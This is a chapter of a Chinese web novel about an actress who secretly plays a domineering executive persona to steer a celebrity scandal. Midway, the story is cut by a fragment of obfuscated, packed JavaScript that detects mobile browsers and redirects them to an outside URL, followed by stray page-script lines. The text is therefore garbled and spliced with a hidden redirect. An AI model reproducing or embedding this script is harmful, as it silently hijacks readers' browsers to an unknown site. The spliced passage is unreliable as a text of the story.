27. 第 27 章
作品:《演戏用马甲不就行了》 盛蹊是在飞行快结束的时候醒来的,从宁城到宋寅现在剧组所在的城市航行旅途很长,她有余力切换成陆其昌马甲去处理这些事。
但切换回来前仍然需要陆其昌告诉何修,他需要休息一会儿,不要去打扰他。
何修轻手轻脚退出办公室外的时候,盛蹊在机场确认现在的舆论情况。
周宇也算是墙倒众人推了。
林依非当时对周宇状况做出的推断并不让人吃惊,因为爆红这么些年来,周宇除了自己并不洁身自好外,在外也得罪了不少人。
他在圈子里地位超然,除了不能和正剧老戏骨比,男流量中他也算是头一份,和他咖位相当的不多,但比他咖位低也被他打压过的,却比比皆是。
就算蚂蚁咬不死大象,那么多人出来倒油也足够路人半信半疑了。
最重要的是,周宇在业内并不缺乏对家。
半个月以前就有业内在传白熊在转移周宇身上的娱乐资源还有舆论影响力,当时他们都以为这是要保周宇,让他低调做人把事度过去。
现在发现分明是白熊打算弃车保帅了,资本就算逐利也是聪明的,就算他们知道了,也能无视周宇身上的投资风险,他背后压他黑料索要封口费的受害人们也不是吃素的。
资本不愿意兜底,对家疯狂下场,普通粉丝开始怀疑,路人已经在吃瓜狂欢,虽然事情还没定性,但是基本圈内的人都知道,周宇的事业算是完了。
要么息影,要么拒不承认然后进去。现在看来,周宇想走后一条。所以最新发布的某音视频团队还在粉饰太平,评论区已经秒开嘲讽,嘲上热搜了。
作为当事人,也确实有很多路人找上门来对她说抱歉,还有很多当初的粉丝,也和她留言说早就知道她是清白的,但是当时周宇粉丝声量太大了不敢说,盛蹊以为自己会看得非常认真,但是看到这些评论的时候反而有点走神。
短短几天,这个圈子里发生的一切对她的冲击都太大了,有时候她都觉得,是不是她这样相信事情真相终究会大白,而不是想谁操控就操控的人,就不适合待在娱乐圈里。
她不该相信这个圈子里是有实力和公正一说的,对吗?所有的一切都被资本标好价码。她站在人流穿梭的机场,看着他们这些行人,各自都有自己的事要做,前程去奔赴,一时不知道自己该何去何从。
没想到何修没有去打扰脾气甚糟的上司,反而派了人来接行程不知道怎么泄露出去的盛蹊。
而且他本来只打算派人去接,发现陆总是这么多天第一次在办公室休息后,又改变了主意——
他出办公室的时候发现办公室内甚至没有陆总爱喝的咖啡,天光娱乐在陆总来之前也只是个小公司,想必各项设施都不是很完备,而对睡眠质量要求很高的陆总居然就这样将就歇下了。
看来见盛蹊对陆总来说是一件比较重要的事。
既然能揣摩到这一点,那他当然是亲自来接合适,而且他能预想到,陆总能说出她自己放弃自己的话,盛蹊对于天光为什么会邀请她,她要去见的是谁也应该是心知肚明的。
毕竟只有已经被陆总抛出过橄榄枝,却又狠狠拒绝了他的人,才有资格被陆总那样的人记住不是吗。
所以何修站到盛蹊面前时,并没有打算隐藏来意,而是微笑说:“盛女士。”
盛蹊抬起头,有时候真的对这种人精一样的工作人员处理事情的能力和心思感到佩服,她还有点累,所以略垂了垂眸,就上了车。
她在思考,如果可信度不够强行开双开,会导致这第二个马甲才出现被收回去,然后周宇的倒台出现别的意外吗?
她看着车窗玻璃,胡思乱想。
何修系好安全带,温和说:“陆总正在等您。”
盛蹊眼睫颤了一下,她忽然说:“不去天光娱乐。”
何修有点惊讶,盛蹊的心跳慢慢平稳下来,她轻轻说:“我是来找宋寅的。”
“……”何修尽职尽责地思考两秒,觉得他如果打电话给正在休息,和等着盛蹊去见他的陆总告知这个消息的话,这位宋寅会不会欢迎不知道,反正陆总应该是会大发雷霆了。
但他不可能强行改变盛蹊的行程,而且陆总的话本来就是他也觉得盛蹊可能不会来见他的意思。
他思考两秒,最后还是友好微笑:“好的,那我送您过去?”
盛蹊看了他两眼,又移开视线,何修一边不动声色地观察对陆总来说可能不一般的盛女士的性格、偏好的细节,一边在想,宋寅。
哦,想起来了,那个最先控告周宇,还被陆总批为不尊重公司纪律,不给配经纪人的艺人。
……何修觉得自己好像又发现了什么不得了的大事。但是没事,他做秘书这么多年什么事没见过,他依然眼观鼻鼻观心,专心看路,把车开得稳稳的,准备送盛蹊去《若星辰》的古装场景取景地。
路上盛蹊睡着了,他放慢车速,没过多久接到陆总的电话,他还没来得及解释,陆总就说:“接到人了?”
何修:“……”
他控制着语气:“是的,盛老师刚下飞机,有点累了,所以现在正在休息。”他看了眼车内后视镜,又说:“她好像和朋友已经约好了,所以我正在送盛老师过去的路上。”
他说完,等着陆总的消息,同时又希望盛老师绝对不要在这个时候醒来,不然这种靠他撒谎,得来的岌岌可危的平衡就要被打破了,他的年终奖也要被收回了好吗?
陆其昌冷笑了一声,笑得何修默默地把车停了。陆其昌慢条斯理地说:“周宇塌台了,现在所有的眼线都跑去盯周宇和他相关的人事上,她现在要过去找宋寅?”
何修心想,又不是我要去的,您和盛老师说啊,但是看盛蹊睡得很沉,他还是把隔板升起来和老板说:“是,老板,您说得没错,是我欠考虑了,我现在就送盛老师回酒店休息,等事件平息了我再送盛老师过去,盛老师一定会理解的。”
说完他重新启动车辆,准备调头,陆其昌的声音在车载蓝牙的电流声里显得像一只阴沉的,沉默不语的准备捕猎的猎豹。
他呼吸并不是为了生存,而是在盘算怎么盘剥猎物的血肉。
陆其昌继续说:“把宋寅那边也监管起来。”
他冷冷说:“别再发什么不该发的东西。”
何修:“……”这是要阻止他们联系的意思。
他反复默念了三遍,这是法治社会,这是法治社会,公司出于舆情考虑建议艺人关闭相关通信和账号,是合理的,是合法的,才一边开车一边通知下去。
本来他们已经快到了,何修通过车窗看着堵得不可开交的各类狗仔车辆时暗道了一声老板这个理由也算说得过去了,然后慢慢开着车,在盛蹊醒过来的时候说:“盛老师,狗仔太多了,为了安全我们还是先回去吧,日后再来可以吗?”
盛蹊好像还不具备清醒时的反应能力,停顿两秒,嗯了一声,然后说:“我想回我的公寓去看看。”
刚刚确实是她欠考虑了。
宋寅和演了很多年戏还是一文不值的她相比,还是不一样的,要不是系统让她分心留意一下宋寅那边的状况,她都不知道,宋寅现在也是舆论的中心,想见也见不到了。
她请假的事也已经上了热搜。
她不想再被热搜卷进去,却也不知道除了曾经的家她还能去哪里。
何修觉得盛老师应该是因为最近发生的事太多,所以突然忘了:“您家,应该是在宁城?如果您需要,我可以在事情解决后陪您回去一趟,但是现在我们还在姑妄,所以……”
盛蹊靠着车窗,她不知道以一种什么心情垂眸说:“公寓的产权应该已经到了你们公司手里吧。”
她果然知道他是哪来的,何修心想。
也知道陆总入职了天光娱乐,她甚至知道,她被邀请来这里的这件事情的完整始末,何修再次评估陆总千里迢迢回这里当娱乐公司副总的原因,然后为陆其昌解释说:“陆总前几天才回国,这件事,我想他并不知情。”
虽然陆总有本事人在国外房子却买在他名下,但是看陆总提都没提,他猜测,应该是有人自作主张。
不应该啊?难道还有人比他清楚陆总和盛小姐之间的关系?
何修这么想着,她说:“我想把房子拿回来。”
那意思还是,我们去见陆总吧。
他看了看后排,盛蹊的状态不算好,但也算不上很糟,更重要的是他觉得以那位现在的状态,早点送盛蹊过去,陆总会早点消火。
他发起火来可是整个公司的人都噤若寒蝉的。即使他有丰富的应对经验,也不想面对。
何修从善如流:“我现在就打电话给陆总。”
盛蹊轻轻顿了顿:“不用。”她拿出手机。
果然何修相信,盛蹊应该有陆总的电话,而且这电话应该很久没拨过之后,她手机上就出现一个号码,盛蹊并不害怕会不接通,因为她打算用这两分钟的双开可信度消耗解决后期一些问题的。
可是陆其昌居然给挂了。
这是盛蹊没想到的,她怔了一下。
系统默默解释:【马甲角色可信度过低的时候,行为会更容易受到他人可信度倾向的影响。】
就比如何修现在认为,陆总会接到这个电话,也会知道是盛蹊打过来的,但他不会接的。
陆其昌这种冷血高傲睚眦必报的人,他不亲眼看到盛蹊给他低头,怎么会甘心先接受她的求和呢。
陆其昌不是个疯子,顶多就是比正常人更暴躁一点而已,但他绝对是个掌控欲很强的人。盛蹊可能通过别的方式联系宋寅,他都不允许。更不会允许盛蹊在电话中和他简单说明了。
他就是个傲慢到要等盛蹊自己过去的人。
盛蹊突然轻松下来,或许是这个受她掌控的马甲,在别人的想象里又多了很多鲜活的细节的事,让她忽然脱离了“舆论被资本掌控,而且并不是正义的”的窒息氛围,回到了营造角色的单纯目标里。
她忽然明白,原来可信度倾向的作用,是让马甲在各个人的认知倾向里,都像是一个真实存在的人。
她没再打,好像习惯陆其昌的这种傲慢一样。
接下来的时间她和何修聊天:“你们今天上班?”今天周日,按理说不会。
何修老老实实说:“公关和舆情部已经忙得全公司打转了,不过我单独服务陆总,所以还好。”
“嗯,”盛蹊轻轻应了一声,“他应该很信任你。”
何修笑:“不然怎么会让我来接盛老师呢。”
这句话大概没有起到恭维和调节气氛的作用,盛蹊又看向门外了,并且看到眼熟的中式高级会所,目光轻轻顿了一顿。
作为高级秘书他的考虑当然是很周到的:“在公司不方便,而且公司现在应该也有很多狗仔蹲点,所以陆总选定了这里。”
宋寅拿到程兰那个角色的时候面试的会所,这里应该是连锁的另一家,布局氛围,一模一样,盛蹊走进去,可能是车内空气不流通,她有点头晕目眩。
何修虚扶了一下,然后说:“没事吧?您先在竹苑包间里休息一会儿,陆总稍后就来,我去请服务员给您上一点茶。”
他走开了,盛蹊在外面站了一会儿,又碰到了错过李若白这个角色,同样和宋寅在会所里碰到过的连拾。他好像很烦躁,看到盛蹊,移开视线。
也对,他不认识她。
但他很快顿住,应该是又想起来了,走过来和她说了一声:“他还挺聪明的。”
连拾和周宇都是白熊要捧的人,连拾大概也不干净,所以最近也没什么声响,对她说这句话,无非是要挑拨。
盛蹊没看他,轻轻上楼推开竹苑的门,这家会所楼上就这一间,空气清新,有淡淡的熏香,不浓,盛蹊靠在沙发上坐了一会儿,睡着的时候,陆其昌起来了。
何修赶回公司,奇异地发现陆总的脸色好了不少,虽然眼睛里还是有那种惯常的不耐和戾气,但是已经比之前说到周宇时好了很多。
何修说盛老师已经在会所等着了,陆其昌站着,端起茶喝了一口,明明是要出发的姿态,偏偏茶喝得很慢。
他慢慢说:“她有说什么吗?”
何修停顿了一下,委婉道:“盛老师提到了她名下一套房子,好像您来之前,被天光买下了。”
陆其昌笑了一声,嘲讽:“就这些?没报酬?”
他不能无偿给人干活。
陆其昌下巴微抬:“你去,把合同拿过去,等她什么时候真的愿意来看我了,你再带她过来。”
何修:“……”
冷静,冷静,领导不做人是正常的。
但陆其昌再次以人设的理由,推迟和本体的见面后,摩挲着茶碗边缘时,突然想到,她以前很多年都不受公司重视,要圆陆其昌这个人设最大的矛盾点就在于,他怎么会对盛蹊多年的际遇置之不理。
还不是因为,她太清高。陆其昌脑子里冒出这个念头的时候,居然嘲讽地笑了一下,他也不知道是嘲讽自己这个人设的过于直白,还是嘲讽本体。
但他知道,他想要这个人设和盛蹊较劲的原因不是什么钱、色交易,而是你为什么不愿意向我低头。盛蹊,你为什么就是不愿意承认。
你觉得这个世界不公平,是因为它不对你公平。当有人愿意不计较市场价值、演技这些你认为似乎很重要的事,就是愿意关照你的时候,你还是心动的。
你无非是,嫉妒能被那样关照的人为什么不是你。
何修站在原地一会儿,等陆其昌瞥他让他快去的时候,他还是顿了顿说:“陆总,盛老师现在在宁戏就职,她……已经不在这个娱乐圈里。”言外之意是,您可以给的这些东西,她或许不稀罕。
或者从来就不在乎,否则也不会争辩不过,就直接退圈了。
盛蹊很像是他以前遇到的一种人,技术人员,他发现他和你讲不明白,就干脆懒得讲了,只做自己的事。不过盛蹊和他们不一样还是因为,她有朋友还在娱乐圈。
何修看陆总一眼。而且这个朋友关系还不一般。
陆其昌说:“不在这个圈子,就不会受到影响了?”他笑了一声:“她以为她能请到假,是因为宁戏为了她一个人把排好的剧目表推了?还不是因为和周宇有关联,怕粉丝闹事。”
来敲门的梁叙忽然窥见了这位副总的底气。他来天光不久,甚至可以说一点自己的班底都没有,可他依然对圈内的事了如指掌。
可以说就他手里攥着,指缝里露出来那一些,都足够娱乐圈一些新人打得头破血流。
而且陆其昌还说,他和盛蹊认识?那踩周宇一脚可能就不单单是发泄私怨了?更多的还是,他想让盛蹊看到,她绞尽脑汁要摆脱的一切对他来说不值一提?
为什么之前没出手……可能就是陆其昌就是想冷眼看着。看看她骨头到底有多硬,才能明知道求他帮忙,就能迎刃而解的问题,她要花无数力气去抗争了。
但盛蹊退圈了。
梁叙心里莫名有点感慨,不知道为什么,陆其昌这种不择手段的冷血商人,和盛蹊这种一心演戏,甚至有点不问世事的单纯的演员,有这样的交集,甚至是很狗血的交集,他竟然觉得很正常。
可能人就是会被自己的相反面吸引吧。
而且她确实不曾低头。他所认识的盛蹊就是这样的。
但是陆其昌是一个不达目的誓不罢休的冷血商人,他会用他手里一切的筹码,哪怕牺牲利益,也会让自己掉在地上的话捡起来。
所以,他不甘罢休来了。
何修只能屈服:“盛老师会想清楚的。”
陆其昌嘲讽:“不要自作主张。”他要的是她一步步走到这,不是被人胁迫过来。
何修忽然感觉压力山大,转头看到梁叙偷听到了一半,面带微笑。既然陆总不在乎盛老师来这被公司其他人看到,那他听到也没什么的,给他们提点醒,他们也知道盛老师来的时候该用什么态度面对他。
只是他不明白,陆总不是很着急,可为什么每次要见面了,陆总就会变得更高傲一点,要他提出邀请也是,忽然不去会所了也是。
算了,何修叹气,两头劝是秘书的日常,只是陆总这位暴君这,他是不敢劝的,只能去劝盛老师了。
他又返回会所,一个人回的,上楼的时候,盛蹊在浇会所里的花,她倒是喜欢花,只是很久没有心情养了。
在维持陆其昌人设的同时,保持住马甲和本体不用见面,减少可信度消耗的局面,是盛蹊费心经营才达成的结果。
所以她对何修的委婉转达没有表现出任何惊讶,在何修看来却是这位盛女士,其实已经这样被逼迫试探过很多次了。
何修当然相信陆总不至于违反公序良俗以势逼人,他更觉得这两人之间像是不同价值观,然后陆总始终占据世俗成功上风,所以不断嘲讽打压、却无法使盛蹊认同他的结果。
他焦急暴躁,是因为他知道,只要盛蹊不认为他是正确的,那么他永远不可能真的把盛蹊逼来向他低头。
何修想了很多。
盛蹊只说了一句:“他愿意帮忙,我很感激。”
“……”何修一时间不知道该如何传话了。
连他这个局外人都看出来了,陆总之前一直在国外,不愿意出手也冷眼旁观,就是给盛蹊一个教训。他不期待她主动低头,反而期待她吃够教训明白他的方式才是正确的。
但是盛蹊,她不仅不愿意低头,还对他宣布胜利的最终出手表示感谢,看起来就像是感谢他旁观了九十九步,最后还是走出那一步一样。
她不是怨恨,后悔,自己的倔强招致他的冷漠,而是觉得,他什么都不做都正常。
陆总听到会气死。但他能怎么办呢,何修只能传话,为了保险,开车回去之前特地先打了个电话告知,陆总没有任何回复,直接挂了电话。
何修往返好几次,开回去的路上还在想,这不会是他最后一次往返于会所与公司之间了吧?
见到陆其昌,陆其昌说:“你看过她的戏了吗?”
何修很惭愧:“没有。”得知关系不过过去一天,他还没有把功课做到那种地步。不过正在他斟酌,预备表示盛老师演技还是很好的时候,陆其昌拿起钥匙,嘲讽说:“一文不值。”
何修还想问陆总怎么忽然又冒火了,得知地点的路上忽然又明白是为什么了:白熊有负责人请陆总过去,看一场没有上映的电影。电影里有周宇,也有盛蹊——他们绯闻的前置篇章,就是这场合作。
周宇粉丝一直在传,盛蹊喜欢周宇就是在这儿,而且在这电影中已经有端倪,只是可惜电影版号有问题,一直没能上映。
这个白熊负责人,消息倒是灵通。
何修全程看着陆总脸色阴沉地上车,脸色阴沉地下车,心想,盛老师本来就不愿意低头,白熊还在这个时候出奇招,算是踢到了铁板上了。
白熊的负责人大腹便便,在高清影院里就他和他助手两个,笑着对陆其昌说话,还暗示,这部电影想上随时能上。原来不是版号问题,是制片方压着。
陆其昌冷笑。他不给对方面子,可信度倾向越倾向于“他能量很大”。不过陆其昌第一反应是无趣。
她有过那么多角色,陆其昌是情绪最激烈,表现最外放的一个,不过不代表她只是在表演陆其昌的愤怒,她能感觉到,陆其昌有一部分愤怒,是真的来自于她的愤怒。
也很合理。她毕竟不是泥人啊。可是她退圈后有望上映的第一部电影,就是他们拿来讨好他的吗?
陆其昌全程面无表情看完,没管白熊高层的夸赞叙述和捧着的语气,然后侧头,冷漠和阴森地注视着对方,说:“你是不是以为我弄周宇,真是因为他得罪了盛蹊?”
白熊负责人表情一顿。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260241|179557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>陆其昌大拇指轻轻摩挲食指上的指环,本来没有的,但白熊负责人视线顺着他的动作一看,指环就有了,还是很名贵的玉质的,一看就价值不菲。
陆其昌身上充满了那种在国外管束很宽松的地方说一不二的匪气,虽然因为正装约束,收敛了很多,但是在宽敞黑暗的影院里,他这样的气质反而更加外放。
拿到马甲时盛蹊还是第一次尝试,直接在现实中没有重来,没有OOC机会的自己规划演绎一个活生生的角色。
但陆其昌觉得不是一个刻板印象塑造下,可以被轻易讨好的人。
他弯唇,眼睛里没有笑意,动作更是一点礼貌都没有,漆黑的眼珠子显得很晦暗:“那你们猜错了。”
他冷冰冰地说:“为了讨好她,就更不应该把他弄倒了。”只有周宇一直压在她顶上,她才会走投无路,才会想到向他求助,不是吗。
很可惜,陆其昌不是一个只考虑盛蹊,或者说,他不是一个感情目的至上的人,他是一个复杂的,权衡利弊的利益生物。他冷血,只是在感情上冷血,会用最小付出获得最大回报而已。
谁说他是做好事不留名的性格了?
“这片子你们爱销毁就销毁。”陆其昌起身,身高很高,所以导致他面对白熊负责人也居高临下,虎背熊腰的,像是一座高山一样,白熊负责人后知后觉感到畏惧,突然想起来,陆其昌手腕确实很狠。
他嗤笑一声:“谁在乎?”
于是在场所有人都明白了,他不是什么热爱艺术,或者真心想打造出一个他的娱乐圈的爱心人士。他入圈,干涉这个圈子里的事,纯粹是因为,他想得到盛蹊的妥协。
仅此而已。
……看来是猜错了啊。白熊负责人叹气,不过也没有多失望,本来就是再尝试尝试,周宇要爆雷,他们早些时间就预料到了,他和助手说:“通知公司那边,该放手放手吧。”
他喃喃:“天光娱乐,也不知道会被他带成什么样。”
陆其昌大跨步走出影院,忽然看到可信度倾向暴涨,大概是白熊那边的大集团知道了他干的事,在这个负责人渲染下,对他有了个初步的印象。
他和系统说,双开可信度应该够了,然后下午就在办公室见到本体。
何修很上道地关了门,而且守在离门不远的地方,很不幸隔音效果很好,更不幸地是没过多久,门就打开了。
他下意识看过去,意外发现,两个人交谈得不算愉快。不过以他的视角来看,不愉快也正常。
意外的是系统。它还没见过本体和马甲互相争执的。
这不关盛蹊的事。她确实是想和自己好好沟通,暴躁是陆其昌的人设,并不影响他想庇护本体的决定。
可是,她内心中的矛盾感占了上风。陆其昌马甲和本体,有被误解的针锋相对的关系,果然是来源于生活,而并非是她构造而已。
陆其昌居高临下,他有点太高了,身形伟岸,而且硬朗脸庞和手握大权的经历也很难让他平等和人说话,他和本体说:“你可以和我结婚。”
说是很好的朋友……是没有血缘关系的兄妹,甚至是意外救下他的恩人。
陆其昌:“只要你想。”他声音里不自觉带上嘲讽:“你想怎样合理地运用我的资源做不到?”
她过不去心里那关,无非是觉得有马甲在她还是在作弊,可只要别人觉得他们是夫妻,是兄妹,她借用他的关系就是正常的。
她不想演戏了吗?
何修悄悄地把吸气声音降低,实在不理解,一次简单会晤怎么就上升到结婚话题了。
但盛蹊还是说——她摇着头——“不一样。”
陆其昌冷不丁开口,因为情绪过于平静,何修分不清他是不是在暴怒,只是压抑着:“难道宋寅的出身对于你来说就很公平吗?”
盛蹊很迷惘,她看向他:“他至少是会演戏的,他也在演戏……”也许脸也是作弊的成果。
但是:“你和我们不同。”
这句话说出来陆总周身温度骤降,何修猜测是因为“我们”这句话。
盛蹊说:“你的一切都是唾手可得得来的——”
陆其昌猛地攥起盛蹊的手腕,他沉浸在情绪里,忘了马甲的身形过于高大,而且他的手掌也太有力了,一拉就几乎把本体整个拉过来,像是把她也攥在怀里。
但他的表情更可怕,他阴沉地注视着她,因为不担心是其他人,所以情绪有一种无需遮掩直接沉入最深最暗端的坦率,阴暗,他冷冷地从牙缝里挤出字来:“那你是说,你明知道我已经出现了,知道我拥有这一切,还是不用。”
他咬牙切齿,一字一顿:“你是告诉我,你以为的你需要我,你能接受我,是在耍我了!”
何修暗道不好。
陆其昌是真的暴怒:“我出现在这里是为了让你更方便,更清晰地看清楚,我想法的可笑的吗!”
整个公司噤若寒蝉。
陆其昌的暴怒震得隔壁几个办公区的人都能听到,霎时间连键盘声都没有了,盛蹊有点无力。
她说:“我不是这个意思。”
她的声音那么轻,可在陆总暴怒的情况下居然还能听到:“我的意思是说,你保持你的成功就可以了,何必拿我们两个去赌?”
她承认,让马甲庇护本体和宋寅很自私。可是最可笑的是,她打消这个念头并不是因为她不再自私了或者不知道陆其昌地位的含金量,她只是觉得。
陆其昌也是她的角色。没必要和本体联系在一起,成为一个有概率失败的,乏味的角色。
他就做他的成功精英,不好吗?她也不是非要背后有人,才有勇气继续待在这个圈子里混。
她还是比她想象得清高多了。
“所以你还是在耍我。”
陆其昌攥着她的手腕走到天光娱乐中间:“你自己看看,我从国外到这里来,做一个毫无实权的可笑副总,难道是因为你说,我们各自安好比较好?”
他盯着她的眼睛,吓得旁边的人都不敢说话。
陆其昌又开始冷笑了,他忽然说:“好啊,你现在走出去,看看谁碰到你,你和他说,你和陆其昌一点关系也没有,谁会相信。”
他声音放缓,有一种恶魔低语的残忍:“不是你想就能摆脱掉我。你说不想因为我受益,还不是和天光娱乐毫无关系,仍然到顶楼办公室来了吗?”
就和宋寅最终会成为盛蹊的代言人一样。
他们和她有关系不是因为她想,是因为,他们从诞生起就注定是这样的。
“那我说我可以现在开始就和你切断关系呢?”
陆其昌笑了。他笑是因为他真的发觉,本体心中想法就是这样,她本来是因为希望陆其昌可以真的让周宇罪有应得才来,可是真的这样做了之后,又无法接受。
她就像是准备当刽子手的普通人一样,以为自己掌握了铡刀,会心中痛快,会大仇得报,可真正举起铡刀,又和宋寅表演被“霸凌”依然会良心不安一样,不愿意放下内心的枷锁。
“你搞清楚,”陆其昌的傲慢高贵刻在骨子里,即使是对盛蹊也是这样,“公正,只论实力说话的娱乐圈,只存在于你脑子里。”
他没放开攥着盛蹊那只手,就像她一直掐着自己的手腕让自己清醒一样:“如果这个地方真的是公平的,我为什么会出现在这里?”
她明明知道。
她心里都清楚。
她热爱的行业,没有绝对的公平。
陆其昌点头:“你想等一切规则都公平透明之后,再凭你的演技出人头地,可以,那就等我在这个圈子里斗败了再说吧。”
陆其昌就是资本掌控话语的一个缩影。所以哪天谁认为圈子里有陆其昌这样一个人才是不正常的,他不该存在了,她倒是可以心安理得地去凭实力竞争了。
“……”盛蹊自己的声音微弱:“我已经不在这里演戏了。”
可他们都知道这话只是骗自己。她如果真的对这个行业失望,那宋寅呢?果然陆其昌一个字都不用说,冷笑一声,轻易就让盛蹊深深吸气。
她看起来像是要晕过去了,其实盛蹊只是,她只是忽然明白,她只是装作自己的世界观受到了冲击,其实她看到演员要在桌上陪资方喝酒,营销号受公司豢养,剧都是它们投资的时候就知道了。
不向资本屈服,哪来的公平。
就像周宇,也不是因为他们被她斗败了,是因为资本也把周宇放弃了。
陆其昌抓紧机会诱哄,他甚至不在乎这是在大庭广众,在其他人屏住呼吸偷听之下,因为那就是他的傲慢。
而傲慢可以成全陆其昌的可信度。这整个过程,也不仅仅是在理智感情交锋吧,是陆其昌这个“角色”和盛蹊这个“角色”相遇之后,必然有的冲突,碰撞。
盛蹊这么告诉自己。
——他说:“你厌恶资本,可是我至少是你熟悉的人,至少,我不会像他们,向你索取一些你无论如何也不肯交换的。”
那一个精致利己的商人,他会需要的,将是什么呢?盛蹊闭上眼睛。
陆其昌看她好像没有反抗的力气了,笑了笑,何修很想提醒这里还是内地,是法治社会,但陆其昌只是把她拉进怀里,手指轻轻摸了摸她的头发:
“和我签那份之前就给了你的协议。”
他柔声:“他们有你没有的东西。”
脸。曝光度。资源。靠山。
“但你有我。”
何修看了盛蹊一眼。
他看到盛蹊口袋里的手机震动了两下,但是最终没有接通。他移开视线,想,总不会是那位“宋寅”的。
坚持和追求在金钱资源这些面前,显得如此无力。
他悄悄问过陆总,协议是哪方面的。陆总看了他一会儿,慢慢说:“我看中她,她不乐意,我让她乐意就是了。”
资本买股的,也可以是她自己。